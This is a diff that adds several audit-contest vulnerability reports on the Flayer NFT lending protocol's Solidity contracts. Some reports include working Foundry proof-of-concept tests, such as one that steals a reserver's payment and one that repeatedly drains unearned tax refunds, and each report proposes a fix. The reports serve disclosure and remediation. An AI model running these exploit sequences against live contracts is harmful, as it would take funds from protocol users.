+```
+
+2. [**Locker**#`unbackedDeposit()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L179-L188)
+```solidity
+ function unbackedDeposit(address _collection, uint _amount) public nonReentrant whenNotPaused collectionExists(_collection) {
+ // Ensure that our caller is an approved manager
+ if (!lockerManager.isManager(msg.sender)) revert UnapprovedCaller();
+
+ // Ensure that the collection has not been initialized
+ if (collectionInitialized[_collection]) revert CollectionAlreadyInitialized();
+
+ // Mint the {CollectionToken} to the sender
+→ _collectionToken[_collection].mint(msg.sender, _amount);
+ }
+```
+
+3. [**Locker**#`redeem()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L209-L230)
+```solidity
+ function redeem(address _collection, uint[] calldata _tokenIds, address _recipient) public nonReentrant whenNotPaused collectionExists(_collection) {
+ uint tokenIdsLength = _tokenIds.length;
+ if (tokenIdsLength == 0) revert NoTokenIds();
+
+ // Burn the ERC20 tokens from the caller
+ ICollectionToken collectionToken_ = _collectionToken[_collection];
+→ collectionToken_.burnFrom(msg.sender, tokenIdsLength * 1 ether * 10 ** collectionToken_.denomination());
+
+ // Define our collection token outside the loop
+ IERC721 collection = IERC721(_collection);
+
+ // Loop through the tokenIds and redeem them
+ for (uint i; i < tokenIdsLength; ++i) {
+ // Ensure that the token requested is not a listing
+ if (isListing(_collection, _tokenIds[i])) revert TokenIsListing(_tokenIds[i]);
+
+ // Transfer the collection token to the caller
+ collection.transferFrom(address(this), _recipient, _tokenIds[i]);
+ }
+
+ emit TokenRedeem(_collection, _tokenIds, msg.sender, _recipient);
+ }
+```
+
+This becomes exploitable due to the way `unlockPrice()` and `getProtectedListingHealth()` measure the increase in compound factor. When a protected listing (a loan) is recorded, the current collection `compoundFactor` is checkpointed and its index is stored in the Listing struct as `checkpoint`. Now when it comes to `getProtectedListingHealth()` lets see how it works:
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L497-L501
+```solidity
+ function getProtectedListingHealth(address _collection, uint _tokenId) public view listingExists(_collection, _tokenId) returns (int) {
+ // ...
+→ return int(MAX_PROTECTED_TOKEN_AMOUNT) - int(unlockPrice(_collection, _tokenId));
+ }
+```
+
+The `MAX_PROTECTED_TOKEN_AMOUNT` constant is equal to $0.95e18$.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L607-L617
+```solidity
+ function unlockPrice(address _collection, uint _tokenId) public view returns (uint unlockPrice_) {
+ // ...
+ unlockPrice_ = locker.taxCalculator().compound({
+ _principle: listing.tokenTaken,
+ _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],
+→ _currentCheckpoint: _currentCheckpoint(_collection)
+ });
+ }
+```
+
+**TaxCalculator**#`compound()` simply takes the listing's `tokenTaken` and multiplies it by `_currentCheckpoint.compoundedFactor / _initialCheckpoint.compoundedFactor` in a typical rebase token fashion (for example).
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L580-L596
+```solidity
+ function _currentCheckpoint(address _collection) internal view returns (Checkpoint memory checkpoint_) {
+ // Calculate the current interest rate based on utilization
+→ (, uint _utilizationRate) = utilizationRate(_collection);
+
+ // Update the compounded factor with the new interest rate and time period
+ Checkpoint memory previousCheckpoint = collectionCheckpoints[_collection][collectionCheckpoints[_collection].length - 1];
+
+ // Save the new checkpoint
+ checkpoint_ = Checkpoint({
+→ compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+ _previousCompoundedFactor: previousCheckpoint.compoundedFactor,
+ _utilizationRate: _utilizationRate,
+ _timePeriod: block.timestamp - previousCheckpoint.timestamp
+ }),
+ timestamp: block.timestamp
+ });
+ }
+```
+
+Now we've come to the essence of the problem. `_currentCheckpoint()` fetches the **current** `utilizationRate` to calculate the new `compoundedFactor` for the current `block.timestamp` checkpoint which fetches the current CollectionToken `totalSupply()` and the collection's protected listings count. And an attacker can manipulate the former (`totalSupply`) without making the latter change and thus influence the utilization rate of a collection in the direction they wish.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L261-L276
+```solidity
+ function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+ // Get the count of active listings of the specified listing type
+ listingsOfType_ = listingCount[_collection];
+
+ // If we have listings of this type then we need to calculate the percentage, otherwise
+ // we will just return a zero percent value.
+ if (listingsOfType_ != 0) {
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If we have no totalSupply, then we have a zero percent utilization
+→ uint totalSupply = collectionToken.totalSupply();
+ if (totalSupply != 0) {
+→ utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ }
+ }
+ }
+```
+
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+A few attack vectors stemming from this absence of checkpointing in the functions mentioned above include:
+
+1. You can deposit/redeem from Locker to bring down the utilization rate to, for example, avoid being liquidated as your listing health is calculated as `0.95e18 - tokenTaken * compoundedFactor increase since loan is taken`.
+2. You can redeem NFTs to bump up the utilization rate, take loans at a high compounded factor and when you want to repay or unlock, deposit these NFTs back so you soften the increase in compound factor.
+3. You can grief other users by bumping up the utilization rate when they are unlocking or adjusting their position so they pay more interest as the interest rate is a function of the utilization rate.
+4. You can worsen loans' health and cause otherwise healthy loans to be subject to liquidation.
+
+
+### Impact
+
+As outlined in the **Attack Path** section, the impact is quite substantial. The highest of all is griefing other users by forcing them to unexpectedly pay higher interest on their loans and make otherwise healthy loans become liquidateable.
+
+Given the way utilization rate is calculated, we can see how each function that affects either a collection's CollectionToken total supply or the number of protected listings will affect the utilization rate of the collection:
+
+$utilizationRate = \dfrac{collection\ protected\ listings\ count\ *\ 1e36\ *\ 10^{denomination}}{CT\ total\ supply}$
+
+![image](https://github.com/user-attachments/assets/48b28159-a669-4cab-88e2-630fb8d39daa)
+
+### PoC
+
+See **Attack Path** and **Impact**.
+
+### Mitigation
+
+Simply checkpoint a collection's `compoundFactor` by calling **ProtectedListings**#`createCheckpoint()` at the end of the vulnerable functions.
diff --git a/001/464.md b/001/464.md
new file mode 100644
index 0000000..07389ba
--- /dev/null
+++ b/001/464.md
@@ -0,0 +1,103 @@
+Massive Emerald Python
+
+High
+
+# Reserved NFTs can be canceled and withdrawn by the initial listing creator
+
+### Summary
+
+The Flayer protocol allows users to reserve NFTs which they can't fully pay at the moment via the [reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759) function, users that reserve NFTs pay interest rate, and have to provide initial collateral. The user reserving the NFT also has to pay the current listed price of the NFT minus the floor price to the user who created the listing. However, right after the NFT is reserved, the user who created the initial listing can cancel it via the [cancelListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L414-L470) function, and withdraw the NFT and in the same time collect the difference between the price he set for his NFT and the floor price(which is 1e18 * 10**token denomination). First of all this breaks a core invariant of the protocol, secondly it results in the user who canceled the listing directly stealing funds from the user who reserved the NFT.
+
+### Root Cause
+
+There are no checks in the [cancelListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L414-L470) function that prevent the owner of the listing from canceling and withdrawing an NFT that was reserved by someone else.
+
+### Internal pre-conditions
+
+1. NFT collection is created and initialized
+2. Some user creates a liquid listing
+3. Another users decides to reserve an NFT, that was put on a market as a liquid listing
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. A malicious user creates a listing, with a floorMultiplier of **200**
+2. Bob sees that listing, but doesn't have the money to buy it, but deep down he knows that owning this NFT will change his life, so he decides to reserve it via the [reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759) function, he pays to alice the difference between the listingPrice and the listingFloorPrice which is 2e18 - 1e18 = 1e18, additionally he provides 0.5e18 as collateral. So in total bob has spend 1.5e18 tokens so far. Now he has the NFT as reserved and will have to pay some interest until he decides to unlock his protected listing(this is not important for this issue).
+3. The malicious user sees that his NFT has been reserved, and decides to call the [cancelListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L414-L470) function, in order to withdraw his NFT.
+4. At the end of the attack the malicious user has received 1e18 tokens, owns his NFT, and bob has paid 1.5e18 tokens and can't withdraw the NFT, as it is no longer owned by the ``Locker.sol`` contract.
+
+### Impact
+Users that reserve an NFT should be able to unlock it at any given time, as long as they pay their interest rate. A malicious user can cancel a listing that was reserved, and thus still funds from the user who reserved the NFT, and get back his NFT and generate a profit.
+
+### PoC
+[Gist](https://gist.github.com/AtanasDimulski/95fe424bd5c38a08b7d12cc5c3911878)
+After following the steps in the above mentioned [gist](https://gist.github.com/AtanasDimulski/95fe424bd5c38a08b7d12cc5c3911878) add the following test to the ``AuditorTests.t.sol`` file:
+```solidity
+ function test_ReservingCanBeCanceledAndWithdrawn() public {
+ vm.startPrank(alice);
+ collection1.mint(alice, 12);
+ collection1.setApprovalForAll(address(listings), true);
+
+ Listings.Listing memory listingAlice = IListings.Listing({
+ owner: payable(alice),
+ created: uint40(block.timestamp),
+ duration: 10 days,
+ floorMultiple: 200
+ });
+
+ uint256[] memory tokenIdsAlice = new uint256[](1);
+ tokenIdsAlice[0] = 12;
+ IListings.CreateListing[] memory createLisings = new IListings.CreateListing[](1);
+ IListings.CreateListing memory createListing = IListings.CreateListing({
+ collection: address(collection1),
+ tokenIds: tokenIdsAlice,
+ listing: listingAlice
+ });
+ createLisings[0] = createListing;
+ listings.createListings(createLisings);
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+ collection1.mint(bob, 13);
+ collection1.mint(bob, 14);
+ collection1.setApprovalForAll(address(locker), true);
+ uint256[] memory tokenIdsBob = new uint256[](2);
+ tokenIdsBob[0] = 13;
+ tokenIdsBob[1] = 14;
+ locker.deposit(address(collection1), tokenIdsBob);
+ console2.log("Bob token balance: ", collectionTokenA.balanceOf(bob));
+ collectionTokenA.approve(address(listings), type(uint256).max);
+ (, uint256 listingPrice) = listings.getListingPrice(address(collection1), 12);
+ console2.log("The full price of the NFT that bob wants to reserve: ", listingPrice);
+ listings.reserve(address(collection1), 12, 0.5e18);
+
+ /// @notice bob will have to pay the difference between the full price of the NFT and the floor price 2e18 - 1e18 = 1e18, and pay 0.5e18 as collateral
+ console2.log("Bob token balance after he reservers: ", collectionTokenA.balanceOf(bob));
+ vm.stopPrank();
+
+ vm.startPrank(alice);
+ collectionTokenA.approve(address(listings), type(uint256).max);
+ listings.cancelListings(address(collection1), tokenIdsAlice, false);
+ assertEq(collection1.ownerOf(12), alice);
+ console2.log("Token balance of alice: ", collectionTokenA.balanceOf(alice));
+ console2.log("Token balance of bob: ", collectionTokenA.balanceOf(bob));
+ vm.stopPrank();
+ }
+```
+
+```solidity
+Logs:
+ Bob token balance: 2000000000000000000
+ The full price of the NFT that bob wants to reserve: 2000000000000000000
+ Bob token balance after he reservers: 500000000000000000
+ Token balance of alice: 1000000000000000000
+ Token balance of bob: 500000000000000000
+```
+
+To run the test use: ``forge test -vvv --mt test_ReservingCanBeCanceledAndWithdrawn``
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/001/469.md b/001/469.md
new file mode 100644
index 0000000..0bc814a
--- /dev/null
+++ b/001/469.md
@@ -0,0 +1,82 @@
+Lone Chartreuse Alpaca
+
+Medium
+
+# Incorrect Checkpoint Index Handling When Timestamps Match Between Updates
+
+### Summary
+
+[ProtectedListings::_createCheckpoint](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L530-L571) function returns an incorrect checkpoint index when timestamps are identical between the last update and the current timestamp.
+
+### Root Cause
+
+When [ProtectedListings::_createCheckpoint](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L530-L571) function is invoked during a call, it stores the index of the to-be-created checkpoint as the length of the stored collection checkpoints. This makes sense, since if I have an array of uints: [0, 1, 2, 3] and I plan to push 4 into the array, the index of the previous array length will point to the newly pushed-in value. [0,1,2,3,4].
+But what if nothing is pushed into the array?
+That's the problem with [_createCheckpoint](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L530-L571) function, when the time between the last update and current timestamp is the same, only the compounded factor is updated, but the index meant to point to the new checkpoint is never changed.
+```solidity
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+ return index_;
+ }
+```
+For our used example, index 4 will be returned, which currently points to no value in the array, since the array is still as it is [0,1,2,3], and thus out of bound.
+
+An attacker can take advantage of this, by first triggering the collection checkpoint update and then call [ProtectedListings::createListings](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L117-L156) function to create a listing with a checkpoint index pointed to a not yet computed checkpoint, thus cutting down on the interest he is meant to pay for the position.
+This is possible since in createListings, the returned index from [_createCheckpoint](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L530-L571) is used to update the users checkpoint index in [_mapListings](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L198-L210) function:
+```solidity
+ function _mapListings(
+ CreateListing memory _createListing,
+ uint _tokenIds,
+ uint _checkpointIndex
+ ) internal returns (uint tokensReceived_) {
+ // Loop through our tokens
+ for (uint i; i < _tokenIds; ++i) {
+ // Update our request with the current checkpoint and store the listing
+ _createListing.listing.checkpoint = _checkpointIndex;
+ _protectedListings[_createListing.collection][
+ _createListing.tokenIds[i]
+ ] = _createListing.listing;
+
+ }
+
+ ..............
+ }
+```
+
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+Using a smart contract, the attacker can either first create a listing for this collection in the Listings contract, or cancel an existing listing he has in the Listings contract for this collection.
+Both of these actions will trigger a checkpoint update for the collection in ProtectedListings contract.
+```solidity
+ protectedListings.createCheckpoint(_collection);
+```
+Then call [ProtectedListings::createListings](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L117-L156) function to create a listing for the collection with a checkpoint index pointed to a not yet created collection checkpoint.
+
+
+
+### Impact
+
+LP loses supposed fee
+
+### PoC
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L530-L571
+
+### Mitigation
+
+Update to:
+```solidity
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+ return index_ - 1;
+ }
+```
diff --git a/001/471.md b/001/471.md
new file mode 100644
index 0000000..89eb075
--- /dev/null
+++ b/001/471.md
@@ -0,0 +1,209 @@
+Raspy Raspberry Tapir
+
+High
+
+# Stealing of tax refunds via relisting liquidated protected listings
+
+### Summary
+
+In the `Listings` token there is the notion of a _tax refund_: a certain tax is taken from the listing creator, and the unused tax is is returned when the listing is e.g. canceled or relisted. _Protected listings_ enter the `Listings` contract via a different route: via function [createLiquidationListing](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L178-L208) which creates a dutch listing instead of the liquidated protected listing. As this is an internal function, triggered from `ProtectedListings` contract, no tax is paid. This special condition (no tax paid, and no refund issued, is accounted for in all functions that modify listings, with one exception: function [relist](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672) treats any listing as the standard one, and issues a tax refund.
+
+The attacker can exploit this vulnerability by repeatedly creating a protected listing, then liquidating it, relisting the created dutch listing (thus receiving a tax refund for a tax which was never paid), and canceling the listing. As a result, the attacker receives ~ `0.05 ether` of any collection token from each attack iteration. The attack can be repeated indefinitely with any NFT token from any collection, stealing `0.05 ether` from the collection token each time, until the contract is drained completely.
+
+### Root Cause
+
+Function [Listings::relist](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672) unconditionally issues a tax refund, for any listing, not accounting for the special condition of a liquidation listing:
+
+```solidity
+// We can process a tax refund for the existing listing
+(uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+}
+```
+
+It's worth contrasting the above fragment with a similar one from [Listings::reserve](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L707-L713), which accounts for the special condition correctly:
+
+```solidity
+// We can process a tax refund for the existing listing if it isn't a liquidation
+if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+}
+```
+
+### Internal pre-conditions
+
+none
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+1. The attacker controls 2 addresses, `owner` and `buyer`: `owner` holds 1 NFT token, and `buyer` has `4 ether` of the corresponding collection token
+2. The Attacker creates a protected listing for the NFT token as `owner`
+ - `owner` receives `0.95 ether` of the collection token
+3. The attacker waits for the next block (warp forward by at least 1 second)
+ - the listing can now be liquidated
+4. The attacker triggers protected listing liquidation as `buyer`
+ - `buyer` receives `0.05 ether` as the liquidation keeper
+ - At that point the attacker holds `5 ether` of collection token in two accounts
+ - Protected listing is deleted; and standard dutch listing is created instead with `owner` as the listing owner
+5. The attacker relists the token as liquid listing from the `buyer` account
+ - `owner` receives additionally `3 ether` from relisting
+ - `owner` also receives ~`0.5 ether` of the tax refund in escrow, _as if it was paid when the listing was created_
+ - _Because the listing was created from the protected listing liquidation, the tax was never paid_
+6. The attacker cancels the listing from the `buyer` account, and receives the refund, as usual. The final state is reached; the attacker holds:
+ - the same NFT (in the `buyer` account)
+ - the same 4 ether of the collection token (`3.95 ether` in the `owner` account, and `0.05 ether` in the `buyer` account)
+ - ~ `0.05 ether` of the stolen tax refund in the `owner` escrow account.
+
+The attack can be repeated indefinitely with any NFT token from any collection, stealing `0.05 ether` from the collection token each time, until the contract is drained completely.
+
+
+### Impact
+
+Definite loss of funds: complete draining of `Listings` balance in collection token from any NFT collection, via repetitive execution of the attack.
+
+### PoC
+
+Place the below test in [ProtectedListings.t.sol](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/test/ProtectedListings.t.sol#L820) and execute via `forge test --match-test test_StealTaxRefundViaRelistingLiquidatedProtectedListing`
+
+```solidity
+function test_StealTaxRefundViaRelistingLiquidatedProtectedListing() public {
+ uint _tokenId = 0;
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+
+ // The attacker controls 2 addresses: _owner and _buyer
+ address payable _owner = users[1];
+ address _buyer = address(10);
+
+ // 1. Set the stage
+ erc721a.mint(_owner, _tokenId);
+ deal(address(token), _buyer, 4 ether);
+
+ // The attacker starts with 1 NFT token, 4 ether of the collection token
+ // and no tokens in the listings escrow
+ assertEq(erc721a.ownerOf(_tokenId), _owner, 'Owner holds our NFT token');
+ assertEq(token.balanceOf(_owner), 0, 'Owner has no collection tokens initially');
+ assertEq(token.balanceOf(_buyer), 4 ether, 'Buyer has 4 collection tokens initially');
+ assertEq(listings.balances(_owner, address(token)), 0, 'Owner has no escrow');
+ assertEq(listings.balances(_buyer, address(token)), 0, 'Buyer has no escrow');
+
+ // 2. The Attacker creates a protected listing as _owner, and receives 0.95 ether
+ vm.startPrank(_owner);
+ erc721a.approve(address(protectedListings), _tokenId);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: 0.95 ether,
+ checkpoint: 0
+ })
+ })
+ });
+ vm.stopPrank();
+
+ // Confirm token balances
+ assertEq(token.balanceOf(_owner), 0.95 ether, 'Owner has 0.95 ether from protected listing');
+ assertEq(token.balanceOf(address(protectedListings)), 0.05 ether, 'ProtectedListings has 0.05 ether');
+
+ // 3. Warp forward 1 second; the listing can now be liquidated
+ vm.warp(block.timestamp + 1);
+ assertLt(protectedListings.getProtectedListingHealth(address(erc721a), _tokenId), 0);
+
+
+ // 4. The attacker triggers liquidation as _buyer
+ vm.startPrank(_buyer);
+ protectedListings.liquidateProtectedListing(address(erc721a), _tokenId);
+
+
+ // Confirm that the buyer receives 0.05 ether as the liquidation keeper
+ assertEq(token.balanceOf(_buyer), 4.05 ether, 'Buyer has 0.05 ether additionally as keeper');
+ assertEq(token.balanceOf(_owner), 0.95 ether, 'Owner still has 0.95 ether from protected listing');
+
+ // At that point the attacker holds 5 ether of collection token in two accounts
+
+ // Confirm that the listing is created and is dutching with the expected parameters
+ IListings.Listing memory _listing = listings.listings(address(erc721a), _tokenId);
+ assertEq(_listing.owner, _owner);
+ assertEq(_listing.duration, 4 days);
+ assertEq(_listing.floorMultiple, 400);
+
+ assertEq(listings.balances(_owner, address(token)), 0, 'Invalid lister escrow');
+
+ // 5. The attacker relists the token as liquid listing
+ locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);
+ listings.relist({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: payable(_buyer),
+ created: uint40(block.timestamp),
+ duration: 7 days,
+ floorMultiple: 400
+ })
+ }),
+ _payTaxWithEscrow: false
+ });
+
+ // Confirm that the listing is created and is liquid as expected
+ _listing = listings.listings(address(erc721a), _tokenId);
+ assertEq(_listing.owner, _buyer);
+ assertEq(_listing.duration, 7 days);
+ assertEq(_listing.floorMultiple, 400);
+
+ // The _owner receives additionally 3 ether from relisting
+ assertEq(token.balanceOf(_owner), 3.95 ether, 'Owner has 3 ether more from relisting');
+ // The _owner also receives additionally ~0.05 ether tax refund, which they didn't pay
+ assertGt(listings.balances(_owner, address(token)), 0.05 ether, 'Tax refund of 0.05 ether is stolen');
+
+ // 6. The _buyer cancels the listing, and receives the refund, as usual
+ listings.cancelListings(address(erc721a), _tokenIdToArray(_tokenId), false);
+
+ // The final state:
+ // the attacker holds the same NFT, the same 4 ether of collection token
+ // plus ~0.05 ether of the stolen tax refund.
+ assertEq(erc721a.ownerOf(_tokenId), _buyer, 'Mow buyer holds our NFT token');
+ assertEq(token.balanceOf(_owner), 3.95 ether, 'Owner has 3.95 ether tokens');
+ assertEq(token.balanceOf(_buyer), 0.05 ether, 'Buyer has 0.05 ether tokens');
+ assertGt(listings.balances(_owner, address(token)), 0.05 ether, 'Owner has 0.05 ether of stolen refund in escrow');
+ assertEq(listings.balances(_buyer, address(token)), 0, 'Buyer has no escrow');
+
+ // From that point on the attack can be repeated indefinitely,
+ // stealing 0.05 ether each time, until the contract is drained completely.
+}
+```
+
+### Mitigation
+
+```diff
+diff --git a/flayer/src/contracts/Listings.sol b/flayer/src/contracts/Listings.sol
+index eb39e7a..7e586ee 100644
+--- a/flayer/src/contracts/Listings.sol
++++ b/flayer/src/contracts/Listings.sol
+@@ -640,10 +640,12 @@ contract Listings is IListings, Ownable, ReentrancyGuard, TokenEscrow {
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
+
+- // We can process a tax refund for the existing listing
+- (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+- if (_fees != 0) {
+- emit ListingFeeCaptured(_collection, _tokenId, _fees);
++ // We can process a tax refund for the existing listing if it isn't a liquidation
++ if (!_isLiquidation[_collection][_tokenId]) {
++ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
++ if (_fees != 0) {
++ emit ListingFeeCaptured(_collection, _tokenId, _fees);
++ }
+ }
+
+ // Find the underlying {CollectionToken} attached to our collection
+```
\ No newline at end of file
diff --git a/001/472.md b/001/472.md
new file mode 100644
index 0000000..70bd762
--- /dev/null
+++ b/001/472.md
@@ -0,0 +1,89 @@
+Curved Rusty Parrot
+
+High
+
+# Tokens are stuck when CollectionShutdown.sol#cancel() is invoked
+
+### Summary
+
+Deletion of `_collectionParams[collection]` without sending tokens back to the users who voted will **leave tokens stucked** in the contract with no possibility of retrieving them back.
+
+### Root Cause
+
+Nothing is send back before this line of code -> https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L403
+
+``` solidity
+function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ // !! NOTHING IS SEND BEFORE DELETION !!
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+ }
+
+### Internal pre-conditions
+
+First, a vote needs to have started and then more tokens minted while it is ongoing so we exceed the MAX_SHUTDOWN_TOKENS.
+
+Then, a user (may be intentionally malicious) needs to invoke cancel() before the onlyOwner invokes execute().
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+Steps:
+
+We start a vote to shutdown a particular collection
+We pass the required threshold, but the owner hasn't yet invoked execute()
+During this time, new collection tokens are created and they pass the MAX_SHUTDOWN_TOKENS
+Cancel() is invoked and it deletes the _collectionParams[collection] without first sending the
+tokens back to the users which voted
+Tokens are stuck and there is no way for them to be retrieved, reclaimVote() and other functions
+are all dependent on _collectionParams[collection], so they won't be able to send back the tokens to the users.
+
+### Impact
+
+User tokens are going to be stuck when the ```CollectionShutdown.sol#cancel()``` is invoked and,
+there is no mechanism to claim them back.
+
+### PoC
+
+ ``` solidity
+function test_StuckTokensAfterCancel() public {
+ uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
+ vm.startPrank(address(locker));
+ collectionToken.mint(address(this), 3 ether);
+ vm.stopPrank();
+
+ collectionShutdown.start(address(erc721b));
+
+ vm.startPrank(address(locker));
+ collectionToken.mint(address(this), 8 ether);
+ vm.stopPrank();
+
+ collectionShutdown.cancel(address(erc721b));
+
+ // it will revert here in reclaimVote() -> params.shutdownVotes -= uint96(userVotes);
+ vm.expectRevert();
+ collectionShutdown.reclaimVote(address(erc721b));
+
+ // it will revert here in execute() -> if (!params.canExecute) revert ShutdownNotReachedQuorum();
+ vm.expectRevert();
+ collectionShutdown.execute(address(erc721b), tokenIds);
+ }
+
+### Mitigation
+
+Implement a mechanism to send the tokens to the voters in `cancel()`
\ No newline at end of file
diff --git a/001/476.md b/001/476.md
new file mode 100644
index 0000000..679e51f
--- /dev/null
+++ b/001/476.md
@@ -0,0 +1,63 @@
+Perfect Mint Worm
+
+Medium
+
+# manipulation of the Utilization Rates using the locker.sol function deposit and redeem to Force Liquidations
+
+## Summary
+A user with a significant number of *NFTs* can manipulate the `totalsupply` of *ERC20* tokens to indirectly push protected listings towards liquidation by influencing the `utilizationrate` and associated .
+## Vulnerability Detail
+The vulnerability arises from the ability of a user to `deposit` and `redeem` any quantities of NFTs,without fees As shown in the `locker.sol` contract :
+-the `deposit` function increase the *totalsupply* by `mint` function.
+
+``` js
+function deposit(address _collection, uint[] calldata _tokenIds, address _recipient) public
+ {
+ //.....
+ ICollectionToken token = _collectionToken[_collection];
+ token.mint(_recipient, tokenIdsLength * 1 ether * 10 ** token.denomination());
+ //.....
+ }
+ ```
+-and decrease the *totalsupply* using the `redeem` function.
+
+```js
+
+ function redeem(address _collection, uint[] calldata _tokenIds, address _recipient) public
+ {
+ //...
+ collectionToken_.burnFrom(msg.sender, tokenIdsLength * 1 ether * 10 ** collectionToken_.denomination());
+ //..
+ }
+
+```
+so a user with a lot of nft could thereby alter the total supply of ERC20 tokens ,This manipulation affects the utilization rate,
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L261-L276
+which in turn influences interest rates that used directly to calculate `calculateCompoundedFactor`
+
+```js
+
+ function calculateCompoundedFactor(uint _previousCompoundedFactor, uint _utilizationRate, uint _timePeriod) public view returns (uint compoundedFactor_) {
+ uint interestRate = this.calculateProtectedInterest(_utilizationRate);
+ uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+ compoundedFactor_ = _previousCompoundedFactor *
+ (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+ }
+
+```
+
+we use this to Calculate the amount of tax that would need to be paid against protected listings. in the function `unlockPrice`
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L607-L617
